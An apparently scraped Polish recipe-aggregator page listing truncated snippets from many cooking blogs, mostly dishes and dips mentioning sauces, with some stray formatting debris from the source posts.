Firmy Fanex otrzymałam paczkę z pysznymi produktami do testowania, za co bardzo dziękuję. Firma zajmuje się produkcją pysznych sosów, ketchupów, musztard, dressingów, marynat oraz paluszków. Zainteresowanych zapraszam do zapoznania się z ofertą  Fanex

Bajeczna Kuchnia
Pasta z pieczonej papryki, sezamu i masła orzechowego 203

pasty na kanapkę , smarowidła i kremy na słodko . Tym razem istotną rolę gra tu pieczona papryka i masło orzechowe. Ciekawe połączenie, prawda? Tylko spróbujcie! Ponadto świetnie sprawdza się jako sos do makaronu! :) Składniki: - 4 czerwone papryki - 2 kromki chleba (u mnie żytni, pokrojony w kostkę) - 2 łyżki sezamu - 1 czubata łyżka masła orzechowego (z orzeszków ziemnych) - 1 łyżka oliwy

Be Fit Be Strong
Kurczak w lubczyku, estragonie i pomarańczy 171

koloru.  Ziemniaki ugotować w osolonej wodzie z dwoma ząbkami czosnku i szczyptą kminku. Potłuc z dodatkiem masła i odrobiny mleka. Na końcu posypać tymiankiem.  Pekińską poszatkować, polać sosem vinegrette.... i gotowe Smacznego

Gaździnka warzy
Jaja poszetowe obsmażone - jajka zwane eklerkami 153

ułożyć na ręczniku papierowym. Następnie jajka obtaczać w mące, rozmąconym jajku, parmezanie i bułce tartej.  Smażyć na maśle na rumiano. Jajka można podawać z fasolką, szpinakiem... z różnymi sosami lub jako samodzielne danie. Jajka te gotowałam w Bobowej, miejscowości położonej na trasie Tarnów – Krynica. W sezonie zimowym, przez Bobową przejeżdżają sznury samochodów z turystami podążającymi na narty, deski

królestwo garów
Sałatka brokułowa z fetą i prażonym słonecznikiem 776

Odcedzamy. Po ostygnięciu przekładamy na talerz, posypujemy solą i pieprzem do smaku. Jogurt łączymy z przeciśniętym przez praskę czosnkiem, bazylią i oregano. Ser kroimy w kostkę. Dodajemy do sałatki sos i fetę. Posypujemy uprażonymi na suchej patelni ziarnami słonecznika

Wrzosowa Polana
Syrniki w nowym wydaniu 187

Popularne w Rosji placuszki z sera smażone na patelni podawane są najczęściej na słodko, z rodzynkami, jabłkami, kwaśną śmietaną. Znana jest także wersja ze skórką pomarańczową i sosem pomarańczowym. Pokombinowałam trochę i zrobiłam syrniki z ziołami i czosnkiem. Różnią się od oryginału zastosowaniem serka kremowego zamiast zwykłego twarogu. Masa jest dzięki temu gładka i łatwa do wyrobienia nawet łyżką. Usmażone

Wrzosowa Polana
Podsumowanie 2015 roku 211

ogórków i cukinii Miejsce 3: Karkówka kebabowa 4. Sałatka z jajkiem, ogórkiem i kukurydzą 5. Kruche ciasto z truskawkami i budyniową pianką 6. Śmietankowo-kokosowe ciasto z porzeczkami 7. Sos słodko-ostry do słoików 8. Bułki z pieczarkami i serem 9. Zapiekanka makaronowa z pieczarkami, szpinakiem i mozzarellą 10. Sałatka z jajkiem, brokułem i kurczakiem 11. Sałatka grillowa z ziemniakami

My simple kitchen
Golonka w piwie 249

tarce jarzynowej o dużych oczkach warzywa i dusimy kolejne godziny (2-3) aż golonka będzie mięciutka i zredukuje się płyn tworząc gęstą i aromatyczną mieszankę z warzywami. Jeśli sosu jest zbyt mało, można dolać trochę wrzącej wody. Wykładamy golonki na talerze obkładając je duszonymi warzywami. Do golonki można podać musztardę lub chrzan. Smacznego!   The post Golonka w piwie appeared

Damsko-męskie spojrzenie na kuchnię
Kąski w cieście 390

Zrobione specjalnie na życzenie córek..pyszne małe kąski drobiowe w cieście...a do tego sos majonezowy, gyros, czosnkowy...kto co lubi..idealne na jakąś imprezkę.. 2 podwójne piersi z kurczaka sól, vegeta 2 jajka 2 szkl. mąki 1 szkl. mleka przyprawa do kurczaka Pierś z kurczaka zalać zimną wodą, dodać vegetę, sól, doprowadzić do wrzenia i gotować kilka minut

Moje domowe kucharzenie
NOWOROCZNA KACZKA Z POMARAŃCZAMI 196

piekarnika. Zapiekamy ok 15 minut. Po tym czasie podlewamy świeżo wyciskanym sokiem, przykrywamy, zmniejszamy temp na 170 st. Pieczemy godzinę. Po tym czasie znów podlewamy - tym razem wytopionym sosem. Na wierzch kaczki układamy plastry pomarańczy. Zapiekamy jeszcze 20 minut. Podajemy z ćwiarteczkami zapiekanych z ziołami ziemniaków

Z Majeczką w kuchni
Potrawka z Cielęciny, czyli Cielęcina w Sosie Maślanym z Żółtkiem 197

sobie pomogłam. Tak przygotowaną mieszankę wlałam do patelni z mięsem i marchewką i mieszając zagotowałam. Na końcu wbiłam surowe żółtko i dokładnie wymieszałam, doprawiłam pieprzem i posypałam natką pietruszki. Sos jest przepyszny i taki "aksamitny". Ja podałam z kaszą jaglaną gotowaną w bulionie warzywnym, ale możecie podać również z ziemniakami, ryżem lub inną ulubioną kaszą ;) SMACZNEGO życzy BLONDYNKA :) Tym razem

Blondynka Gotuje
Krążki cebulowe 215

Jest to moja ulubiona przekąska, która świetnie sprawdza się na wszelkich imprezach od Sylwestra, imprezę karnawałową po zwykłą domówkę. Pyszne, chrupiące, ekspresowe i tanie. Wystarczy podać je z ulubionym sosem. Zachęcam do wypróbowania. Pyszne krążki cebulowe Czytaj więcej » Ten i inne przepisy znajdziecie na stronie http://www.wielkiapetyt.blogspot.com

Wielki apetyt
Surówka z marchewki z pomarańczą 226

wykorzystanie pomarańczy, które pewnie czasem zalegają a nie bardzo chce nam się je same zjeść. Surówka nie wymaga żadnych umiejętności. Do tego nie trzeba tutaj robić również specjalnego sosu, wszystkie składniki łączymy za pomocą łyżki oliwy lub oleju. Jeśli szukacie nieco odmiennych smaków niż zwykłe jarzynowe surówki, ta miło zaskakuje słodyczą pomarańczy. Ważne jest, aby w miarę dokładnie oczyścić pomarańczę

Mieszam w Garnku
Zyczenia i Zapiekanka pieczarkowa z kaszy i mięsa mielonego z czerwonym akcentem 229

nasza niedzielną zapiekankę. Przepis miał się pojawić już wczoraj ale nie udało mi się usiąść do komputera. Pożywna, sycąca, najlepsza na świeżo gdyż nie ma w sobie żadnego sosu i potem staje się sucha. Przepis poniżej to zmodyfikowana wersja jednej z receptur z książki "KipiKasza". Zapiekanka pieczarkowa z kaszy i mięsa mielonego z czerwonym akcentem 2 i 1/2 szkl. ugotowanej

Dzieje kuchennej Wiewióry
Burak na koniec. 178

Jaglany krem buraczany;  z sosem mleczko kokosowe-tahini; malinami tak, oficjalnie jestem dumna z mojego..moich mikserów które pierwszy raz w życiu współgrały i nadały kremowi konsystencji której pożądałam :D nie wierzę, że kolejny rok za mną, że za kilka godzin znów będę (czysto teoretycznie jak na razie) o kolejny rok starsza, że za miesiąc mam studniówkę

More food, love and dreams
Chrupiące kąski z kurczaka 4288

Takie kawałki kurczaka w płatkach kukurydzianych są bardzo smaczną przekąską , często podaję je na przyjęciach rodzinnych. Polecam z sosem paprykowo-pomidorowym, idealna przekąska na sylwestra. Składniki: podwójna pierś z kurczaka 0,5 łyżeczki ostrej papryki 1 łyżeczka przyprawy do kurczaka Ciasto: 0,5 szklanki mąki pszennej ¼ szklanki mleka 1 jajko 0,5 łyżeczki słodkiej papryki 0,5 łyżeczki proszku

Bajeczna Kuchnia
Co podać w Sylwestra? Szybkie przepisy sylwestrowe - zestawienie. 213

chrupiącym cieście - takiego jak z KFC - tutaj przepis .  Przygotować frytki lub upiec ziemniaki ( tu i tu ). Całość uzupełnić swoją ulubioną surówką - np taką  oraz ulubionymi zimnymi sosami. Wszystko możecie podszykować wcześniej a nawet tylko odgrzać w piekarniku bezpośrednio przed podaniem. Jeżeli chodzi o ciasto, to ja uwielbiam te na zimno. Nie da się takiego zepsuć

Poezja Smaków - blog kulinarny
Najpopularniejsze przepisy w 2015 roku 235

miejscu znajduje się Puree z kalafiora Gordona Ramsaya   5 miejsce zajmuje Łosoś zapiekany ze szpinakiem i mozzarellą   Na 6 miejscu znalazł się Makaron z kurczakiem w sosie teriyaki   7 miejsce zajmują Pieczone piersi kurczaka nadziewane mozzarellą i bazylią   8 miejsce zajmują Marchewki glazurowane w miodzie Gordona Ramsaya   Na miejscu 9 znalazły się Krokiety z kurczakiem

karmelowy
Sylwestrowa przekąska z awokado i krewetek o smakach południowej Kalifornii 272

lemonki, posolić do smaku (ok. ½ łyżeczki lub więcej wedle uznania) , wymieszać delikatnie widelcem, tak żeby awokado rozpłynęło się do konsystencji kremu i połączyło z sokiem z lemonki w gęsty sos. Krewetki dokładnie wymyć i wysuszyć, przekroić każdą na pół (lub wedle uznania) . W jednym naczyniu wymieszać krewetki z pokrojonymi ogórkami, pomidorami i kremem z awokado. Doprawić do smaku solą

Jem więc Jestem
Papryka chili - naturalny spalacz tłuszczu 182

niewielką jej ilość . Istnieje wiele odmian ostrych papryczek, ale na większość mówi się po prostu "chili". Im mniejszych rozmiarów jest papryczka, tym ostrzejsza. Bardzo chętnie używana do dań mięsnych, sosów, marynat, czatnejów i past. Jest popularnym dodatkiem do wyrobów cukierniczych, bo podkreśla smak słodyczy. Suszona jest składnikiem curry. Należy pamietać, że ostrość chili, a także na moment, w którym

Gotuj zdrowo!Guten Appetit!
Rillettes z łososia, czyli pasta łososiowa 313

mieszamy ze sobą majonez, serek, musztardę, drobno posiekany koperek i 1-2 łyżki soku z cytryny. Dodajemy szczyptę pieprzu oraz przepłukane i posiekane kapary – jeśli używamy. Mieszamy. Dodajemy sos do ryby i delikatnie mieszamy. Próbujemy czy nie trzeba dodać soli. Wstawiamy do lodówki, żeby rillettes się schłodziło. Post Rillettes z łososia, czyli pasta łososiowa pochodzi z bloga Poezja smaku

Poezja smaku
Sałatka winogronowa z porem i serem pleśniowym 148

łyżka soku z cytryny, sól, pieprz do smaku Przygotowanie : Winogrona pokroić na połówki, por drobno posiekać, ser pokroić w kosteczkę. Dodać paprykę. Wymieszać składniki dressingu. Polać sałatkę tak przygotowanym sosem

Magiczne Życie Marty
Bułeczki na parze z perliczką 208

Dzisiaj przepis na szybko. Na noworoczne lenistwo i na kaca. Ostrawy, o konkretnym smaku. I fajnie zapełniający żołądek. Idealny również jako przekąska na sylwestrową zabawę. Do

slodkokwasnapl
Sałatka z tuńczyka 529

garnka włożyć jajka, zalać wodą, gotować na twardo.  Obrać jajka ze skorupek, pokroić w kostkę.  Szczypiorek umyć, pokroić.  Do miski wyłożyć ostudzony ryż, tuńczyka z sosem własnym , jajka i odlaną z zalewy kukurydzę.  Wymieszać wszystkie składniki sałatki z majonezem, doprawić do smaku solą i pieprzem. Gotową sałatkę przełożyć do salaterki, schłodzić w lodówce. (function

Kuchnia Danusi
Żeberka z białym winem w sosie pomidorowym 167

międzyczasie żeberka kilkakrotnie przewrócić na drugą stronę (i uważać, aby się nie przypaliły). Pod koniec duszenia wsypać majeranek. (Jeśli istnieje taka potrzeba - doprawić do smaku.) Podawać polane sosem

Di gotuje
Menu na Sylwestra. Opcja nr 2 dla tych co lubią pojeść! 203

Kaczka z żurawiną! Pyszna przystawka!  Makaron włoski z krewetkami z sosem pomidorowym! Roladki z kurczaka! Pieczona szynka z rozmarynem, na zimno lub ciepło! Sałatka z grzankami i jajkiem! Sałatka z selerem naciowym! DRINKI Kliknij w zdjęcie aby przejść do przepisu

SMYKWKUCHNI
,,SŁONECZKO PIZZOWE” 139

Boki słoneczka nacinamy nożem i każdy przekrojony kawałek odwracamy farszem do góry .Całość smarujemy rozmąconym jajkiem. Posypujemy słonecznikiem. Pieczemy w 180 C przez około 35min. Dobrze komponuje się z sosem czosnkowym bądź ketchupem

Podróż w kulinaria
Królik pieczony w winie 188

stopni C. ok. 1 godz. i 40 minut - po upieczeniu mięso powinno odchodzić od kości. Przed upływem ostatniego kwadransa warto zdjąć pokrywę z naczynia. Podawać gorący i polany delikatnie sosem z pieczenia i np. z surówką. W dzieciństwie uwielbiam królika pieczonego przez Mamę w prodiżu. W pewnym momencie ktoś mi obrzydził to mięso, wmawiając mi, że jem baraninę (tej nadal

Weekendy w domu i ogrodzie
Tort rocher 214

czekoladowego W małym garnuszku podgrzać śmietanę kremówkę i golden syrup, do wrzenia, zdjąć z palnika. Dodać połamaną czekoladę, odstawić na 2 minuty. Po tym czasie wymieszać, do otrzymania gładkiego sosu. Polewać tort. Smacznego

Kubki smaku
placki z kurczaka wersja I 396

jajka ;  2 łyżki mąki pszennej,  1 łyżka maki ziemnaczanej ;  2 łyżki gęstej śmietany,  1 łyzka jogurtu gęstego- typu greckiego ,  sól ,pieprz, oregano, pietruszka, sos sojowy . Pierś ( najlepiej dzień wcześniej natrzeć przyprawami i namoczyć w mleku lub w  jogurcie, jest dzięki temu krucha i delikatna), pieczarki, papryke i cebule pocięłam w kostkę, ser starłam pozostałe

Kubki smaku
Golonka w piwie wg M. Gessler 179

końcu dodajemy pomidory. Musztardę mieszamy z piwem i miodem i zalewamy golonkę. Pieczemy w 210 stopniach, doglądając aby golonka i warzywa się nie przypaliły. Golonkę co jakiś czas podlewamy sosem. Smacznego

Kubki smaku
Tarta z kurczakiem i warzywami 215

mamy podstawowe produkty w lodówce obiad w parę chwil gotowy. Smacznie i zdrowo. Zapraszam… Stopień trudności - proste choć na pewno nie szybkie danie. Skala smaku 10/10 - najlepiej smakuje z sosem czosnkowym, tarta jest też smaczna na kolejny dzień, ciasto pozostaje kruche.  300 gram mąki pszennej 100 gram masła 300 gram ulubionych warzyw (por może być jedynym składnikiem tarty

Kubki smaku
Naleśniki z farszem mielonym 145

zawsze mi wychodziły jakieś człekokształtne ale znalazłam sposób na wylewanie ciasta, tzn. wazówką na środek patelni wylewam ciasto i robię tzw. ósemki Skala smaku 10/10 napewno sprawdziłby się tutaj sos czosnkowy Składniki na ok. 12 naleśników: 1 i 3/4 szkl. mąki pszennej 1 szkl. mleka 1 szkl. wody gazowanej 2 jaja szczypta soli Składniki na farsz: 500 g mięsa mielonego

Kubki smaku
Palmiery na dwa smaki 167

niezwykłymi połączeniami. Dwa różne smaki i tutaj naprawdę ciężko się zdecydować, który lepszy więc polecam zrobić właśnie dwa różne. Zapraszam... Stopień trudności prosty Skala smaku 10/10 do palmierów polecam sos czosnkowy Przepis pochodzi z książki „Christmas with Gordon”. Składniki: SMAK NR 1 1 opakowanie ciasta francuskiego  mąka pszenna do oprószenia blatu 40 g orzechów włoskich drobno posiekanych

Kubki smaku
Babeczki wytrawne z mielonym, bakłażanem i pieczarkami 147

półtorej porcji, wychodzi mi wtedy 20 babeczek, zużywam wtedy jedną dużą kulkę mozzarelli. Babeczki można zrobić wcześniej i tylko wstawić je do piekarnika przed podaniem. Skala smaku 10/10 z sosem najlepiej czosnkowym smakują wyśmienicie, osobiście polecam przyprawę HOT&SPICY tj.z serii Deluxe w Lidlu. Normal 0 21 false false false PL X-NONE X-NONE /* Style Definitions */ table.MsoNormalTable

Kubki smaku
Roladki z kurczaka zawijane w szynce parmeńskiej 193

opłukujemy i wlewamy do naczynia- nie może się nic zmarnować. Naczynie wkładamy do piekarnika na 40 min, 175st. po połowie czasu roladki poobracać. Wraz z roladkami wytwarza się smakowity sos, którym polewamy roladki wykładając je wcześniej na talerz

Kubki smaku
Filet z kurczaka w cieście jogurtowym 315

smaczne szybkie danie. Zapraszam…  Stopień trudności 9/10 trochę tzw. paćkania jest przy obtaczaniu filecików w mące najlepiej robić to szczypcami kuchennymi Skala smaku 10/10 podajemy oczywiście z ulubionymi sosami bądź z ketchupem. Kurczak w cieście z jogurtu Składniki 2 duże piersi z kurczaka 200 ml jogurtu greckiego 1 jajko 2 łyżeczki ostrej papryki w proszku Przyprawa do gyrosa sól

Kubki smaku
Dip szpinakowy i Dip z suszonych pomidorów 182

Wszystko zmiksować  na gładki krem. 2. Doprawić solą i pieprzem. Uwaga jeżeli zostanie wam dip można go wykorzystać jako baza do pizzy lub można go wykorzystać w sosie do spaghetti

Kubki smaku
Pancakes 147

serwuje w/w smakołyki. Dziś placki, które zasmakowały bardzo mojej starszej córce(młodsza jeszcze ich jeść  nie może). Pancakes są bardzo smaczne delikatne co ważne nie opływają tłuszczem.Polane sosem klonowym smakują wybornie ale z innymi dodatkami również. Polecam. Zapraszam... Skala smaku 10/10 Przepis z gazety składniki dostosowałam pod siebie zmieniając troszkę proporcje. Składniki dla 3- 4 osób: 2 szklanki

Kubki smaku
Omlet ze szpinakiem i suszonymi pomidorami 152

tych dań, które nasycą nie jeden damski żołądek -niestety męski ma większe wymagania;) Lekki i zdrowy start w dzień. Zapraszam... Skala smaku 9/10 lepiej smakuje z ketchupem lub innym sosem. Żródło blog "qchenne-inspiracje" Składniki na omlet dla 1 osoby:  * 2 jajka * duża garść świeżego szpinaku * 3 suszone pomidory  * ząbek czosnku  * sól, pieprz czarny * łyżeczka oliwy

Kubki smaku
Racuchy z gruszką i mąką pełnoziarnistą 204

Kłaść porcje ciasta na rozgrzaną patelnię z olejem, smażyć do zrumienienia z obu stron. Usmażone placki przekładać na ręcznik papierowy. Podawać z kleksem jogurtu, posypane cukrem i ew. polane sosem

Kubki smaku
NALEŚNIKI SUZETTE 191

razu. 4 szt. wchodzą na patelnie(przy większej ilości cały proces karmelizacji trzeba powtarzać). Skladniki: Naleśniki: 500 ml mleka 200 g mąki 2 jaja łyżka roztopionego masła szczypta soli Sos: skórka otarta z ½ pomarańczy 3/4 szkl. soku z pomarańczy 3 łyżki brązowego cukru 2 łyżki masła 2 pomarańcze ewentualnie likier pomarańczowy- da to nam efektowny ogień! Przygotowanie: Ciasto: za pomocą

Kubki smaku
Domowe nachosy z dipem serowym 160

digotuje.blogspot.com   Zainspirowałam się przepisem z blogu: Ostra na Słodko. (Zrobiłam z połowy proporcji.) Nachosy są idealną przekąską do podjadania przed tv.  Można je podawać z dowolnym sosem, roztopionym serem lub jeść bez jakichkolwiek dodatków. Mają jedną wadę - niesamowicie kuszą i uzależniają!     1/2 szklanki mąki kukurydzianej 1/2 szklanki mąki pszennej 1 jajko 50 ml ciepłej wody

Di gotuje
Wegański DOMOWY MARCEPAN Z CUKREM KOKOSOWYM 175

przed-wigilijną noc, nie zjedzone jeszcze całkiem siedzą sobie w lodowce i nadal smakują bardzo dobrze, więc bez obaw można robić na kilka dni, choć może wtedy bez polewania sosem czekoladowym, lepiej na świeżo. Oczywiście robiłam taką masę już nie jeden raz ale do tej pory jakoś nie znalazła się na blogu, więc będzie teraz, póki mam te zdjęcia

Wegański blog WSZYSTKO JEST W GŁOWIE
Parówki w cieście francuskim 3301

owinąć ciastem francuskim. Posmarować rozbełtanym żółtkiem, a następnie posypać makiem. Wstawić do piekarnika nagrzanego do 200C i piec przez ok. 10-15 minut (do zarumienienia). Podawać z ketchupem lub sosem czosnkowym (przepis)   The post Parówki w cieście francuskim appeared first on KulinarnePrzeboje.pl

Kulinarne Przeboje
Kieszonki z ciasta francuskiego ze szpinakiem 2451

Złożyć kwadrat na pół, by utworzyć trójkąt. Zlepić na brzegach. Posmarować wierzch żółtkiem. Piec kieszonki w piekarniku nagrzanym do 200C przez ok. 15 minut (do zarumienienia). Podawać np. z sosem czosnkowym. Smacznego!   The post Kieszonki z ciasta francuskiego ze szpinakiem appeared first on KulinarnePrzeboje.pl

Kulinarne Przeboje
Esencjonalne ragu z kaczki / Duck ragu 231

dużą ilością mięsa i warzyw Takie właśnie łatwe i przyjemne jest ragu z kaczki, które wam dzisiaj prezentuję. Mięso z kaczki, z warzywami i przyprawami, duszone w winie, sosie pomidorowym i ziołami, podane z makaronem. Idealny obiad na chłodne wieczory. Ponadto, jest to świetny sposób na spożytkowanie także innych mięs, które pozostały po świętach. Nie marnujmy jedzenia, polecam! Scroll down

karmelowy
Jagnięcina z kisielem grzybowym 189

też mniejszej ilości mąki ziemniaczanej) polewam jagnięcinę na talerzu z dodatkami – kaszą kuskus , przygotowaną według zaleceń na opakowaniu oraz sałatką z rukoli i przekrojonych na pół pomidorków koktajlowych, polanych sosem (8 łyżek wody + 2 łyżki musztardy Dijon + łyżka octu winnego). SMACZNEGO!! :) Koszt : 35 zł Ilość: 2 osoby

smacznieinatemat
PIECZONA KACZKA 230

godziny. Pierwsza godzina jest pieczona bez podnoszenia przykrycia,potem należy kaczkę przewrócić na drugą stronę,przykryć...co jakiś czas (co 15 min) podnosić pokrywkę i polewać powstałym sosem mięso by nie było suche.Po około 2 godz należy sprawdzić kaczkę...mięso musi odchodzić od kości...wszystko zależy od naszej kaczki,jej wielkości.U Nas piekła się ok 2,5 godziny. Jeśli

Niespełnione zdolności kulinarne
Spaghetti z pieczarkami 238

Przedstawiam nieco inną wersję spaghetti. Bardz iej gęste niż tradycy jny sos , z dodatkiem pieczarek. Niezmie nny p ozostał fa kt, że najlepej smakuje z makaronem, posypane obficie żółtym serem, koniecznie o ostrym s maku. :-) 500g mięsa mielonego 300g pieczarek 2 cebule 200 ml przecieru pomidorowego 3 łyżki koncentratu pomidorowego 1 łyżeczka oregano sól, pieprz olej ser do posypania

Szefowa kuchni
Firma Roleski 123

Firmie Roleski bardzo dziękuję za podjęcie współpracy, dostałam do przetestowania dużą ilość produktów ładnie zapakowanych w kuferek . Firma zajmuje się produkcją bardzo smacznych majonezów, ketchupów, sosów, musztard, większość z nich nie zawiera glutenu. Zainteresowanych zapraszam do zapoznania się z ofertą  Firma Roleski

Bajeczna Kuchnia
USZKA Z GRZYBAMI NA MĄCE ORKISZOWEJ 237

minut, aż cebula będzie szklista i miękka, ale nie przypieczona. Grzyby odsączamy na sicie (wywar grzybowy można zamrozić w woreczkach do kostek lodu, przyda się jako bulion do zup, sosów grzybowych, itp.) i mielimy w maszynce do mięsa. Do cebuli dodajemy zmielone grzyby i dusimy całość ok.2-3 minuty, do odparowania nadmiaru płynów. Doprawiamy solą (ok. 3/4 małej, płaskiej łyżeczki

Smaczne Zdrowe
SAŁATKA Z TUŃCZYKIEM NA KRAKERSACH 3837

składników, nie musicie ściśle trzymać się przepisu. Choć przyznam, że w tej kompozycji całość smakuje po prostu rewelacyjnie! :) SKŁADNIKI: 18 sztuk krakersów 1 mała puszka (180 g) tuńczyka w sosie własnym (użyłam niecałych dwóch puszek) 0,5 cebuli 50 g żółtego sera (użyłam około 70-80 g) 0,5 czerwonej papryki 3 ugotowane na twardo jajka 6 łyżek majonezu mały

Słodko-Słony Świat Ilony
Pieczeń z szynki szpikowana 157

masła. Wstawiłem do piekarnika nagrzanego do 200 stopni C. i piekłem 10 minut. Następnie temperaturę zmniejszyłem do 180 stopni C i zapiekałem jeszcze godzinę. W trakcie pieczenia polewałem wytworzonym sosem. Na półmisku udekorowałem, rozmarynem, kisielem żurawinowym i czosnkiem marynowanym

R'n'G Kitchen
Śląski hot dog 173

Normal 0 21 false false false MicrosoftInternetExplorer4 Kiełbasę nacinamy na krzyż i grillujemy z dwóch stron. Kapustę siekamy, odciskamy z nadmiaru soku i mieszamy z ketchupem. Bagietki wydrążamy, wlewamy sos, wkładamy usmażone kiełbasy. Całość przekładamy na grilla, by podpiec pieczywo na chrupko. /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy; mso-tstyle-rowband-size:0; mso-tstyle-colband-size

R'n'G Kitchen
Testowanie Eterno. 202

mięs, zwłaszcza drobiu oraz do wypieku ciast i dekoracji deserów. Przekąski sprawdzają się idealnie jako przystawki i służą jako pyszny dodatek do mięs, wędlin, ryb i serów oraz sporządzania sosów. Są również wspaniałym dodatkiem do sałatek owocowych, warzywnych i rybnych. Syropy z najlepszych polskich owoców oraz aromatycznych przypraw i ziół są wspaniałym dodatkiem do herbat i wszelkich napojów. Polecają

Sama słodycz i szczypta chili
Rolada schabowa z białą kiełbasą 194

Super na zimno jak i na ciepło. Na zimno idealnie smakuje z sosem tatarskim lub czosnkowym. Pomysł na taki schabik mam od mojej bratowej Moniki, ona ma często super pomysły, które mi czasami podsuwa,dziękuję. Schab umyć i osuszyć. Cienkim nożem przebić schab przez środek i lekko go naciąć. Białą kiełbasę włożyć do zamrażarki, kiełbasa musi być lekko przymrożona

Kuchnia Pokoleń
Schab peklowany – chudy, dietetyczny 204

gotujemy 5 minut. Odstawiamy w chłodne miejsce. To samo powtarzamy trzeciego dnia. Po wystygnięciu schab wyciągamy z wody i przechowujemy w lodówce. Można podawać go jako wędlinę, lub z sosem jako danie obiadowe. Po przygotowaniu tego schabu z pierwotną ilością soli stwierdziłam, że jest jak dla mnie za słony. Włożyłam go do zimnej wody na 2 godziny, co pomogło wyrównać

Trzeci talerz
Karczek rolowany z boczkiem. Rolowana karkówka pieczona. 348

szklanego naczynia, odstawiamy do lodówki, na całą noc. Mięso układamy na blaszce wyłożonej papierem do pieczenia ponad brzegi, z tego co wycieknie podczas pieczenia będzie można przygotować pyszny domowy sos pieczeniowy. Czas pieczenia mięsa jest zależny od wagi mięsa. Na każde 0,5 kg mięsa liczymy ok 30 minut. Karkówkę pieczemy około 2 godzin w nagrzanym do 180 °C piekarniku

Damsko-męskie spojrzenie na kuchnię
Panierowane kulki z białego sera 182

Przepis autorski (mój). Rewelacyjnie smakują na ciepło (rozpływają się w ustach), jak również po ostygnięciu. Idealne połączenie delikatnego sera i chrupiącej panierki. Można z nich robić szaszłyki, jeść z sosem czy bez żadnych dodatków.   (Około 16 sztuk) 200g białego sera 20g żółtego sera 5 łyżek posiekanego szczypiorku 2 łyżki prażonej cebulki   sól, mielona czarnuszka (zamiast pieprzu) Dodatkowo

Di gotuje
MINI KROKIECIKI ZIEMNIACZANE ( croquettes de pommes de terre ) 685

ciepło! Idealna na Sylwestra, ale nie tylko! Takie krokiety są też świetnym pomysłem na obiad ( jako dodatek do mięs, ryb ) albo na ciepłą kolację. Rewelacyjnie komponują się z sosami – grzybowym, czosnkowym, koperkowym albo pomidorowym! Koniecznie wypróbujcie! Są to najlepsze krokiety ziemniaczane jakie kiedykolwiek robiłam! Gwarantuję, że zrobią furorę, a domownicy z przyjemnością sięgną po dokładkę! Polecam! SKŁADNIKI: * ziemniaki

Ostra na Słodko
Gołąbki z mięsem i ryżem – po krakowsku 253

górę wrzucamy poszatkowane pozostałę liście kapusty. Zalewamy całość gorącym bulionem i jeśli potrzeba wodą po kapuście. Gotujemy po przykryciem ok 60 min. Po tym czasie gołąbki wyjmujemy a pozostały sos zabielamy mąką rozrobioną w niewielkiej ilości wody. 4.3.1.2 http://mieszamwgarnku.pl/dania-miesne/golabki-po-krakowsku/ BosowKuchni   Artykuł Gołąbki z mięsem i ryżem – po krakowsku pochodzi z serwisu Mieszam w garnku

Mieszam w Garnku
100 przepisów na Sylwestra 1357

cebulą Tarta z cukinią, brokułami i sezamem Tramezzini z serkiem kremowym, szynką i szpinakiem Truskawkowy koktajl na maślance Truskawkowy koktajl z bananem i miodem Truskawkowe semifreddo z jagodami i sosem owocowym podane z malinami Woda ogórkowo - cytrynowa Zapiekanka z makaronu pełnoziarnistego z oliwkami kalamata Zapiekane owoce w różowym winie pod płatkami owsianymi Zgrzewane kanapki z liśćmi botwinki Zgrzewane kanapki

Moja smaczna kuchnia
Sałatka z kaszy jaglanej i kaszy kuskus z tuńczykiem 304

zawsze mam w lodówce ugotowaną kaszę jaglaną, to...jest to również sałatka expresowa! Zrobicie ją w kilka chwil! Składniki ugotowana na sypko kasza jaglana puszka tuńczyka w sosie własnym  GRAAL 1 x Salatino- tuńczyk z grzybami mun i kaszą kuskus  GRAAL olej kokosowy bazylia świeże listki Jeśli masz ugotowaną kaszę jaglaną to super, jeśli nie, to ugotuj

Z Kuchni Do Kuchni
Śląski hot dog 204

Normal 0 21 false false false MicrosoftInternetExplorer4 Kiełbasę nacinamy na krzyż i grillujemy z dwóch stron. Kapustę siekamy, odciskamy z nadmiaru soku i mieszamy z ketchupem. Bagietki wydrążamy, wlewamy sos, wkładamy usmażone kiełbasy. Całość przekładamy na grilla, by podpiec pieczywo na chrupko. /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy; mso-tstyle-rowband-size:0; mso-tstyle-colband-size

R'n'G Kitchen
Banany w cieście w sezamowej panierce 168

szklanka mleka 1 jajko 1 łyżka cukru, bądź więcej w zależności od słodkości niewielka ilość oleju do smażenia 1 paczka sezamu (około 200 gr.) Można dodatkowo do smaku sos karmelowy wiórki kokosowe Wykonanie : Wszystkie składniki dodajemy do siebie min. mąkę, mąkę ziemniaczaną, mleko, jajko, cukier. Wszystko razem miksujemy bądź roztrzepujemy trzepaczką na jednolitą masę - odstawiamy na jakiś czas aż zgęstnieje

W Moim Magicznym Domu
Bardzo szybka i smaczna pizza 169

odstawiamy i przygotowujemy dodatki. Przecier pomidorowy zagotowujemy razem z niepełną szklanką wody mieszając przez około minuty. Ciasto dzielimy na dwie części i najpierw rozwałkujemy pierwszy placek. Smarujemy go rozcieńczonym sosem pomidorowym. Posypujemy przyprawami, wykładamy dodatki, posypujemy zdartym serem i wsadzamy na 15-20 minut do nagrzanego piekarnika 220*C  jeżeli na wierzchu będzie za dużo "soków" z dodatków polecam

W Moim Magicznym Domu
Prawdziwe Chrupiące Zapiekanki 4158

zapiekanki :) Składniki: 3 długie pszenne bagietki (kupuję w "wiejskiej" piekarni) ok. 100 g masła 200 g żółtego łagodnego sera ok 500 g pieczarek pieprz sól 1 cebula optymalnie maggi sos do wyboru Wykonanie: Robienie zapiekanek przebiega tak szybko jak znikają z talerza. A więc czas start! Piekarnik rozgrzewamy do ok. 180*C . Obieramy, kroimy i następnie podsmażamy cebulkę na niewielkiej

W Moim Magicznym Domu
Pierniczki świąteczne z ciasta dojrzewającego 183

miesiącami.     Z pierników wyciętych w kształt gwiazdek można wykonać choinki, sklejając poszczególne gwiazdy lukrem zrobionym z białek i cukru pudru. Długo przechowywane pierniki można zużyć do przygotowania sosów do mięs czy serów. Nie mam pewności, czy mój piekarnik dociągnie do kolejnego wypieku pierniczków, więc dodaję przepis do akcji konkursowej: https://www.youtube.com/watch?v=ShqT4DMtPY4 ----- Podobne: Ciastka arachidowe a la portugalskie

Weekendy w domu i ogrodzie
Sałatki na Sylwestra – przepisy 27220

